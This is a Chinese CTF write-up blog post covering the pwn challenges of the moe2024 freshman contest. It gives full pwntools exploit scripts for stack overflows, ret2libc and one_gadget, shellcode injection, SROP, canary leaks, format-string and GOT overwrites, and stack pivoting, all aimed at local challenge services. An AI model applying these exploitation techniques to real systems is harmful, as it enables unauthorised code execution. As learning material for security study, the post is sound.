本文最后更新于 2024年10月23日 晚上
moe2024新生赛–pwn篇 [TOC]
1 二进制漏洞审计入门指北 nc直取(不过一点点打印出来确实有点带感,让普普通通的命令行打印更加,唔,酷?…好吧,一点点打印只是因为与服务器有延迟,我还以为特地这么设计的呢,我是呆逼)
2 NotEnoughTime 先是一点正则表达式的解释—来自gpt
这个正则表达式 r'[-+/*]?\s*\d+' 用来从给定的字符串中提取数字和前面的运算符,详细解释如下:
[] (字符类)
方括号 [] 用于定义一个字符类 ,匹配方括号中的任何一个字符。
在这里,[-+/*] 匹配减号 (-)、加号 (+)、除号 (/)、乘号 (*) 这四种运算符中的任意一个。
注意:减号 - 在字符类中放在首位,因为 - 在中间可能会被解释为一个范围(如 [a-z] 表示从 a 到 z 之间的字符)。
? (零次或一次)
? 是量词,用来匹配前面的内容零次或一次 。在这个表达式里,[-+/*]? 表示可能有 一个运算符,也可能没有。
这意味着可以匹配诸如 +3、-5 或者 6 这样的数字,前面的运算符是可选的。
\s* (零次或多次空白字符)
\s 匹配空白字符 ,包括空格、制表符、换行符等。
* 是量词,表示前面的空白字符可以出现零次或多次 。
所以 \s* 意味着可以有空格或没有空格,也就是忽略了数字和运算符之间的空白。
\d+ (一位或多位数字)
\d 匹配任意数字 ,即 0-9 的数字。
+ 是量词,表示前面的数字字符可以出现一次或多次 。因此,\d+ 匹配的是一个或多个数字 ,例如 5、123。
结合在一起的解释:
[-+/*]?\s*\d+ 这个正则表达式的含义是:
可选的 运算符 -, +, /, *(零次或一次)。
可选的 空白字符(零次或多次)。
一个或多个数字 。
因此,它可以匹配如下形式的片段:
正则表达式相关的知识点:
正则表达式的基本语法 :
使用字符类 [] 来定义一个可能匹配的字符集。
使用 ?, *, + 等量词来控制字符的重复次数。
使用转义字符如 \d 来表示某一类字符(例如数字)。
字符类匹配 :
[-+/*] 中的 - 表示减号,而不是字符范围。若要匹配减号,通常放在字符类的第一个位置避免歧义。
量词控制 :
? 量词在这里用于处理数字前的运算符是否存在的情况。
空白字符的忽略 :
\s* 的使用使得数学式中的空白字符可以被忽略,确保提取表达式时不受空格干扰。
通过这些知识,正则表达式可以帮助你准确地提取数学表达式中的有效数字和符号部分。
注意向下取整即可,不能直接用int取整数位(因为会有负数),注意要解码后才能使用
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *import reimport math context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,41661 ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) rl()for i in range (22 ): strs = ru('=' ) strs = re.findall(r'[-+/*]?\s*\d+' ,strs.decode('utf-8' )) strs = '' .join(strs) print (strs) success(f"it is the times :{i+1 } " ) sl(str (int (math.floor((eval (strs)))))) p.interactive()
3 no_more_gets 栈溢出跳转shell(注意栈平衡)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,46363 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) back=0x0401193 payload = b"A" *(0x58 )+p64(back) sl(payload) p.interactive()
4 leak_sth 存在格式化字符串漏洞来泄露伪随机数,不过自身构建随机数也行
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import* from ctypes import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,38901 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) dll=cdll.LoadLibrary ('/lib/x86_64-linux-gnu/libc.so.6' ) seed =time.time() a=int(seed) dll.srand(a) ru('name' ) sl('xyyr' ) sl(str(dll.rand())) p.interactive()
5 ez_shellcode 给出栈的地址,并且开了可执行权限,在栈上写入shellcode再跳转回来即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,45179 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) ru('age' ) sl('-1' ) rl() rl() stack_addr = int(rl(),16 ) print(hex(stack_addr)) shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(0x68 ,b"A" )+p64(stack_addr) sd(payload) p.interactive()
6 这是什么?libc 给出libc地址,直接全用libc打栈溢出即可。本来想常规system,但是懒得再指令找寄存器,突然想起还有onegadget,直接梭(没想到第一个就出来了)
(这里又练习了一下用正则表达式匹配,不知道为什么顺序必须是先0-9再a-f才能正常匹配)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *import re context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,36525 ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) strs=p.recv() puts_addr = re.findall(r'0x[0-9a-f]+' ,strs.decode('utf-8' )) puts_addr = '' .join(puts_addr) puts_addr = int (puts_addr,16 )print (hex (puts_addr)) libc = ELF('./libc.so.6' ) libc_base = puts_addr - libc.sym['puts' ] system_addr = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) onegad = [0x50a47 ,0xebc81 ,0xebc85 ,0xebc88 ,0xebce2 ,0xebd3f ,0xebd43 ] payload = b'\x00' *9 + p64(libc_base+onegad[0 ]) sd(payload) p.interactive()
7 这是什么?shellcode 懒得自己写shellcode,还是用了shellcraft.sh(),这里原本有个call buf,但是会导致反汇编为伪代码失败,先直接nop掉了
exp就是直接输入生成shell.没有加过滤来强迫自己写shellcode(那就懒得自己写喽,嘿嘿)
8 这是什么?random 只需要答对利用时间戳的10次伪随机即可
中间出了问题,动调进去看,localtime的参数是这个时间戳
转化后就是对应的今天
但是srandom的参数是0x105=261
但是我这里多了一天??
把这儿的减了1就行了,但是不知道为什么会导致二者不一致,明明time.time()生成出来的一样。
查的一点点只是秒的差距,按理说没影响。转化出来的16进制数为0x66EAA093
经过各种查询,我写这个的时候的当天就是262!!!!
呜呜呜,不懂,坐等大佬教。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *import timefrom ctypes import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p=process('./prerandom' ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) gdb.attach(p,'main' ) timer = time.time()print (int (timer)) v3 = time.localtime(int (timer))print (v3) seed = v3.tm_yday-1 print (seed) dll.srand(seed)for i in range (12 ): sl(str (dll.rand() % 90000 +10000 )) p.interactive()
9 flag_helper 本来随便试了试,试不出来,发现可以把提示开了,根据提示磨出来了。
首先是4个选项
一个个试了,1选了又回来了,重复这个循环;2退出;3会卡死;只有4有一些交互
选择4后让说路径,尝试了/,/root,/ctf,/pwn,最后看了提示才知道/flag
然后让给出flags来打开,已知0、1、2有特殊含义,3试了之后被拒绝,然后用4,发现输出了一系列打开
这里flag文件时第3个,文件描述符为5(后面会用到)
prot权限选择
1:可读,2:可写,4:可执行。本来想着可读就行,最后不行,所以干脆给了7(可读可写可执行)
不过据说如果open没有那么高的权限的话,mmap如果赋予更高会出错。(不过这里可以)
然后问flags,下面是一些参数,由于提示mmap传入的fd是-1,所以要用匿名映射,由于匿名映射不能访问文件,还有创建私有映射,所以填了33(34也可以)(按理说这么分析,但是我是爆破出来的,当时脑子有点不在线)
最后问文件的fd值,显然是5。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 )'' ' for i in range (40): p=remote(' 127.0 .0.1 ',38747) sl(b' 4 ') rl() sl(' /flag') rl() rl() sl(b' 4 ') rl() sl(b' 1 ') rl() sl(str(f' {i}')) p.interactive() ' '' p=remote('127.0.0.1' ,45215 ) sl(b'4' ) rl() sl('/flag' ) rl() rl() sl(b'4' ) rl() sl(b'7' ) ru('flags' ) sl(b'33' ) rl() sl(b'5' ) p.interactive()
10 这是什么?got 直接允许往got表里填东西,从前往后填,把exit的got跳转到后门函数,但是会把system的got表里填的东西破坏,本来想着绕过,结果read没啥可绕的,那就看看在绑定前是什么。
好,plt+6的固定地址,保护好system的got表即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=process('./pregot' ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) back_addr = 0x401196 main_addr = 0x401217 system_plt_6 = 0x401056 payload = p64(system_plt_6)*7 + p64(back_addr) debug() sd(payload) p.interactive()
11 nx-on 静态编译,有mportect,mprotect开权限后打shellcode就行。
有cananry,把canary绕过后,栈溢出mprotect开权限,然后打shellcode
本来想用用ropchain,结果太长了,不给偷懒的机会。。
unsigned int 可以有整数溢出,不过-1太大了,后面复制会崩。
注意别忘了mprotrct调用,别忘了要整数页对齐。三参分别为地址、长度、权限。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,34105 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) mprotect_addr = 0x450B90 pop_rdi = 0x000000000040239f pop_rsi = 0x000000000040a40e pop_rdx_rbx = 0x000000000049d12b bss_addr = 0x4E5B60 ru('id' ) sd(b'a' *0x18 +b'b' ) ru('ab' ) canary = b'\x00' canary += p.recv(7 ) canary = u64(canary) print(hex(canary)) payload = b'A' * 0x18 + p64(canary) * 2 + p64(pop_rdi) + p64(0x4e5000 ) + p64(pop_rsi) + p64(0x2000 ) + p64(pop_rdx_rbx) + p64(7 ) * 2 + p64(mprotect_addr) + p64(bss_addr + 0x18 + 0x8 * 11 ) + asm(shellcraft.sh()) sd(payload) ru('size' ) sl(b'-1111' ) p.interactive()
12 这是什么,32-bit? scanf看着怪怪的,其实就以回车截止,没啥用。
gituid,当root权限时,返回0;普通用户为1,改不了,直接栈溢出去跳backdoor
backdoor这里改一改函数的参数
execve(‘/bin/sh’,0,0),注意bin_sh的传参时只想bin_sh字符串的地址,不能是间接的。
本来想试试直接用execve来cat flag,结果没有能对应的字符串,连fake_flag也读不出来。。。我就要看看fake
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,45815 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) backdoor_addr = 0x80491D6 execve_addr = 0x8049212 bin_sh = 0x804A011 bin_cat = 0x804A008 flag_str = 0x804A021 sd(b'\n' ) payload = b"A" * (0x28 + 4 ) + p32(execve_addr) + p32(bin_sh) + p32(0 ) +p32(0 ) sl(payload) p.interactive()
13 moeplane 给了个关于航班的结构体,提示负数溢出,试了好久,没头绪,不会
14 Loginsystem 主函数格式化字符串打印泄露bss段上存的password即可。(不过不知道为什么给了so文件,哦,不同系统对应的偏移可能不同。懒得换了,大不了一点点往下测,不过恰好与本机一样了)
password是个获取的随机数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,43911 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) password = 0x404050 payload = b"%9$sabcd" +p64(password) sd(payload) strs = rl() strs = rl() strs = u64(rl()[9 : 17 ]) print(hex(strs)) payload = p64(strs) sd(payload) p.interactive()
15 Catch_the_canary! 第一步有个password的随机数猜测,搜了搜arc4random,每运行就会生成一次,找不到破绽(刚开始以为让scanf返回为-1就得了,其实不对,而且花了好久的时间找怎么让它-1也每找到,顶多不输入是0)最后:有while,重复输入判断,有固定值加取余,直接爆破不就得了。。。我真的。。。。。被自己蠢到了,浪费了好多时间。
下面这段函数应该执行3次,但是我的循环终止条件写错了,导致调了半天。。。
这个循环的第一次输入变成了循环的一次输入,循环多跑了一次。。
原本以为循环终止条件写错了,怎么调都调不出来毛病,感觉对的呀,最终的问题:上面少接收了一行输出,导致下一轮才接收到正确的结果。。。。。
提示的scanf+-来跳过输入,很常见了,白费了提示。
剩下就是常规的puts泄露canary,栈溢出到后门
良心玩家,不用打libc
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,45565 ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) back_addr = 0x4012AD rl() rl()for i in range (9029 ): password = 16768186 +i sl(str (password)) strs=rl() print (strs) if strs == b'[Info] Cage opened.\n' : break sl(b'+' ) sl(b'+' ) sl(b'195874819' ) payload = b"A" *0x18 +b'B' sd(payload) ru('AB' ) canary = b'\x00' canary +=rc(7 ) canary = u64(canary)print (hex (canary)) payload = b"A" *(0x18 ) + p64(canary)*2 + p64(back_addr) sd(payload) p.interactive()
16 shellcode_revenge 沙箱禁了execve
一个小菜单,管理员登录,用户登录(这里没检查负数溢出,但是没有用),用户注册(没用),自行输入shellcode并执行,有用。
密码是时间戳的伪随机数,直接上公式,登陆后level=1,才能用operate执行shellcode
执行输入的shellcode。这里注意写shellcode时,不要随便用寄存器赋值来修改,因为环境变量可能不同!!!!
重温shellcraft的调用
只能读13字节,本来想分次orw,结果不够,那就shellcode执行read,再写orw,原本打算往这个已知地址的地方写,这会导致需要找地方写入(第一次加的地址太多了,写到了没有分配空间的地方),前面需要填nop来滑栈。但是往栈里写就好了(不用考虑是否存在这个空间。)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *from ctypes import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p=process('./shellcode_revenge' ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) seed =time.time() a=int (seed) dll.srand(a) admin_pwd = dll.rand() rl() sl(b'1' ) sl(str (admin_pwd)) rl()''' sl(b'3') rl() sl(b'0') rl() sd('xyyr') debug() ''' sl(b'4' ) code = ''' mov edx,0x100 syscall ''' code = asm(code).ljust(13 ,b'\x90' )print (len (code)) sd(code) shellcode = '' shellcode += shellcraft.open ('flag' ,0 ,0 ) shellcode += shellcraft.read(3 ,'rsp' ,0x100 ) shellcode += shellcraft.write(1 ,'rsp' ,0x100 ) code =b'\x90' *16 + asm(shellcode) sd(code)''' code = shellcraft.open(".") code += shellcraft.getdents('eax','rsp', 4096) code += shellcraft.write(1,'rsp',4096) shellcode = b'\x90'*16+asm(code) sd(shellcode) all = p.recv(4096) index = all.find('flag') flagname = all[index:index+9] success(flagname) ''' p.interactive()
17 pwn_it_off 本函数要填入之间随机数生成的密码,由于是固定的距离rbp的距离,所以产生的密码的位置是一致的,gdb动调找到对应的行。白色的部分即为密码,也就是第二次输出的对应位置,接收后发送即可。这里其实是最后一次生成的这个位置,也就是最后一次发送的密码的白色位置。
第二层还是老样子,最后一次输出的这个位置
后几位是这个数,但是前面的位在这里无法输入,需要在第一次输入进去,发现能覆盖到v1[1],只要把v1[0]与v1[1]输成一样的就行。
这么覆写后发现,对数大小的检测过不去了
有了,该死的要用产生的密码的提示。。。。。。。。。
我直接覆盖成定值,输入定值不久得了。。。
总是输入不进去,才发现这里给read的超了1个字节,只有0x17来着
改成p32后覆盖不全,再多加一个\x00就成了。
至于为什么选第三次作为最后一次–》第三次随机出来的情况最多,而且方便。至于哪儿方便了—-试试就知道了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import* context(log_level='debug',arch='amd64',os='linux') p=process('./alarm')# p =remote('127.0.0.1',) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() def debug(): gdb.attach(p) pause(1) space1 = p.recv(0x3f) space1 = p.recv(0x3f) print(b"this is +++ "+ space1) space2 = rc(0x18+4) print(b'this is --- '+ space2) pwd1 = rc(15) print(b'the pwd is'+pwd1)# debug () # sd ('\n ') pwd1 +=b'\x00'# sd (pwd1 ) rc(2) pwd2 = rc(1) print(b'the pwd2 is ') print(pwd2) pwd = pwd1 + p32(0x2710)+b'\x00' sd(pwd)# gdb .attach(p,'b *main+43') ru(b'Input the numeric password') sl(b'10000') p.interactive()
18 return15 栈溢出+srop,bin_sh地址都给了,忘截图了,很简单,有手就行。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,39743 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) bin_sh = 0x0402008 syscall = 0x000000000040111c sigret = 0x40110A frame = SigreturnFrame () frame.rax = constants.SYS_execve frame.rdi = bin_sh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall payload = b'A' *0x28 + p64(sigret) + p64(syscall) + bytes(frame) sd(payload) p.interactive()
写shellcode并执行,但是有了检测,这些机器码要变通着来。(其实就是要用可见字符写shellcode)
搓64位shellcode,下载了alpha3,但是运行报错。
试了好多种工具,都在运行的时候报错,放弃挣扎
20 system_not_found 可以覆盖nbytes使得第二次输入栈溢出,结果pop链里没有pop|rdi,不过还好出题人给了libc文件,改libc从本地环境里找偏移。
这里注意到%s,%s不是第三层嘛,然后看了看以前的输出,发现从寄存器输出要比栈输出少一层。如果是%p的话,寄存器直接把值输出,栈是第二层。(想着用%s输出的做法被打消了。。)
红框分别代表一层
0只会把最后一个字节置为0,地址的话没有影响(因为本身就输入了0)
注意到这里的参数跟rbp有关,pop链里有pop rbp,那把rbp改了就可以输出值了。
这样子可以输出libc真实地址,但是就不能后续就不能正常输入了。。。
那换个思路,给后面的printf换成one_gad_get不久好了,不过还得再算算到哪儿可以正常往里读入。
v6是rbp-0x28
buf是rbp-0x40
找偏移中,如果直接跟基地址减的话,发现偏移不一致(取得不是直接函数里的,因为距离不够)
除去0之后都是差0x300000(有时候是0x200000.。。。。)
经多次检验后正常,准备尝试改got表打onegadget
这是onegadget的条件,好多要求可写。。。
这里可以看到ret回的地方是这里
本来想凑凑第二个,结果突然发现rbp已经是0了,第一个更好凑。
想要溢出到这里,但是后面还有printf,这里保护了printf正常执行,但printf执行的过程中卡死了。。看看提示去
没啥子用。。。不对,第二个有用!
rdi里的值可以直接输出得到libc地址,不用绕这么多圈去从bss打印。。。。
阿里嘎多提示酱,我真真真不会注意这种地方,绕了大圈子。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,46211 ) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()def debug (): gdb.attach(p) pause(1 ) puts_plt = 0x401040 main_addr = 0x04011E1 bss_got = 0x403FF0 + 0x40 pop_rbp = 0x000000000040115d pop_ret = 0x000000000040101a payload = p64(bss_got)*2 + p32(0x200 ) sd(payload) rl() payload = b"A" *0x30 +p64(puts_plt)+p64(main_addr) sd(payload) recv_addr = u64(ru('\x7f' )[-6 :].ljust(8 ,b'\x00' ))print (hex (recv_addr)) libc_base = recv_addr - (0x7fbf12662050 - 0x7fbf12600000 )print (hex (libc_base)) libc = ELF('./libc.so.6' )''' print(libc.sym['puts']) libc_base = recv_addr & 0xfffffff00000 libc_base = libc_base - 0x300000 print(hex(libc_base)) ''' puts_addr = libc_base + libc.sym['puts' ] printf_addr = libc_base + libc.sym['printf' ] read_addr = libc_base + libc.sym['read' ] one_gadget = libc_base + 0x50a47 pop_rcx = 0x000000000003d1ee + libc_base''' payload = p64(puts_addr)+p64(printf_addr)+p64(one_gadget)*4+p64(pop_rcx)+p64(0)+p64(main_addr) sd(payload) ''' payload = p64(bss_got)*2 + p32(0x200 ) sd(payload) rl() payload = b"\x00" *0x30 +p64(one_gadget) sd(payload) p.interactive()
21 read_once_twice 保护全开,格式化字符串漏洞,栈溢出,有后门。
调试看距离太没挑战性了,直接来一波手算(也没啥挑战性,回顾一下计算)
canary的距离:(0x20-0x8)/0x8+5=8
ret到的main(0x1302):8+2=10
(嘶看错了,是puts不是printf…莫得格式化字符串)
vuln后返回的地址
第一次泄露canary,第二次覆盖返回地址后三位为main的开始就可以二次打。(因为后3位相同),不过发现后门的第一位也是1,跟main相同,直接覆盖到后门就行了。不对,一次只能覆盖四位。。。那就一直爆最后一位。(该exp就是不断手动尝试执行,直到刚好倒数第4位对应的偏移为0是成功)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import* context(log_level='debug' ,arch='amd64' ,os='linux' ) p=remote('127.0.0.1' ,46285 ) sl = lambda s :p .sendline(s) sd = lambda s :p .send(s) rc = lambda s :p .recv(s) ru = lambda s :p .recvuntil(s) rl = lambda :p .recvline()def debug (): gdb.attach(p) pause(1 ) back_addr = 0x11AA payload = b"A" *(0x20 -8 )+b'B' sd(payload) ru('AB' ) canary = u64(p.recv(7 ).ljust(8 ,b'\x00' ))*0x100 print(hex(canary)) payload = b'A' *(0x20 -8 )+p64(canary)*2 +p16(back_addr) sd(payload) p.interactive()
22 where is fmt 非栈上格式化字符串修改返回地址
先泄露栈地址
再找到可以利用的链
stack1偏移为8
stack2偏移为15
stack3偏移为33(x)这里不是十进制数啊。。。0x27=39,39+6=45
结束。。。还以为那里的变量不能动来着,结果是算错了这种低级错误。。。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import* context(log_level='debug',arch='amd64',os='linux')# p =process('./wherefmt') p=remote('127.0.0.1',35513) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() def debug(): gdb.attach(p) pause(1) back_addr = 0x401202 payload = b'%8$p' sd(payload) ru(b'0x') stack1_addr = int(rc(12),16)-0x8 print(hex(stack1_addr)) stack2_addr = stack1_addr + 0x30 stack3_addr = stack1_addr + 0x120 stack_num = stack1_addr - 0x10 +5 offset = stack1_addr & 0xffff payload = '%' + str(offset) + 'c' +'%15$hn'# print (payload ) sd(payload)# debug () payload = '%2c%45$hhn\x00'# debug () sd(payload) p.interactive()
23 got it 保护近乎于全开
bss段上又16个saves,每个8字节,可以选择对里面的一个saves加减乘除,也可以全部打印
(可以用负数选择对saves以外的地址进行操作,但是不能进行直接打印)
实在想不出来怎么用,提示,启动;欸?已知的知识点啊。。。
等等,puts这里打印出了b,也就是说,,,,也可以是bin_sh?
喵喵喵,感谢提示
emm这样子打印不出来,得写到一起。
注意要小端序
saves与puts的距离:0x80
0x80/8=16
原本想着-16为啥不行,动调发现rax结果很奇怪,奥,%u,无符号数。。。
真正输入-16之后,在*8后不为真正的数值,暂时陷入未知,写个c看看
这里可以看到,-128被作为了0xffffff80
但是,奇奇怪怪。。。输出rax的结果与输出单纯值的结果会不同。
但是这样子就可以看到-16了
看样子应该是符号扩展的问题
但是v1只有4个字节,无法把高位扩展到。。
不对,扩展不会只扩展这么少,应该是相乘后就是这个值。
那直接使得相乘后是这个值呢
还是不行,就得是
欸,只想着往上扩展,可以往下越界,从正数越界多好越啊,越到now_saves,然后改不就得了。。。。光想着负数溢出了,还有正数的越界啊,又被固有思维限制了。。
直接越界到now_save,自己指向自己,相减修改到puts_got的位置,再减去对应的偏移。
注意,写bin_sh写习惯了,实际是/bin/sh,或者直接sh就好。。。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import* context(log_level='debug',arch='amd64',os='linux')# p =process('./gotit') p=remote('127.0.0.1',33571) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() def debug(): gdb.attach(p) pause(1) def numbers(nums,times): rl() nums = str(ord(nums)) sl(b'1') rl() sl(times) rl() sl(b'1') sl(nums) sl(b'5') ''' numbers('b','0') numbers('i','1') numbers('n','2') numbers('_','3') numbers('s','4') numbers('h','5') ''' rl() sl(b'1') rl() sl('0') rl() sl(b'1') strs=int('0x6873',16) print(strs) sl(str(strs)) sl(b'5')# debug () rl() sl(b'1') rl()# gdb .attach(p,'b *$rebase(0x12bd)')# pause () sl('16') rl() sl(b'2') libc = ELF('./libc.so.6') offset = 0x100 sl(str(offset)) sl(b'2') offset = libc.sym['puts']-libc.sym['system']# print (str (libc .sym ['puts ']) ) # print (str (libc .sym ['system ']) ) # gdb .attach(p,'b *$rebase(0x0125c)')# pause () sl(str(offset)) sl(b'5') sl(b'3') p.interactive()
24 栈的奇妙之旅 16字节你能秒我?一眼栈迁移
没有输出的途径,没有栈地址,只能往bss上迁移。
注意不能重复在一段上写,否则造成rsp与写的位置重复后,ret到不该ret的位置。
由于之前是相差0x80,这里手动调整每次rbp-0x80
好久没打栈迁移了,有些生疏了。。。最后注意栈对齐
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import* context(log_level='debug',arch='amd64',os='linux')# p =process('./travelstack') p=remote('127.0.0.1',43151) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() def debug(): gdb.attach(p) pause(1) vuln_addr = 0x4011e5 puts_plt = 0x0401060 puts_got = 0x403FD8 pop_ret = 0x000000000040101a pop_rdi = 0x4011c5 leave_ret = 0x4011FC bss_addr = 0x404800 payload = b'A' * 0x80 + p64(bss_addr) + p64(vuln_addr) # debug () ru('kill')# gdb .attach(p,'b *0x4011F6')# pause (1) sd(payload) payload = p64(bss_addr-0x80) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) payload = payload.ljust(0x80,b'A') payload += p64(bss_addr - 0x80) + p64(leave_ret)# gdb .attach(p,'b *0x4011F6')# pause (1) # ru ('kill ') sd(payload) puts_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00')) print(hex(puts_addr)) libc = ELF('./libc.so.6') libc_base = puts_addr - libc.sym['puts'] bin_sh = libc_base + next(libc.search('/bin/sh')) system_addr = libc_base + libc.sym['system'] payload = p64(bss_addr-0x80) 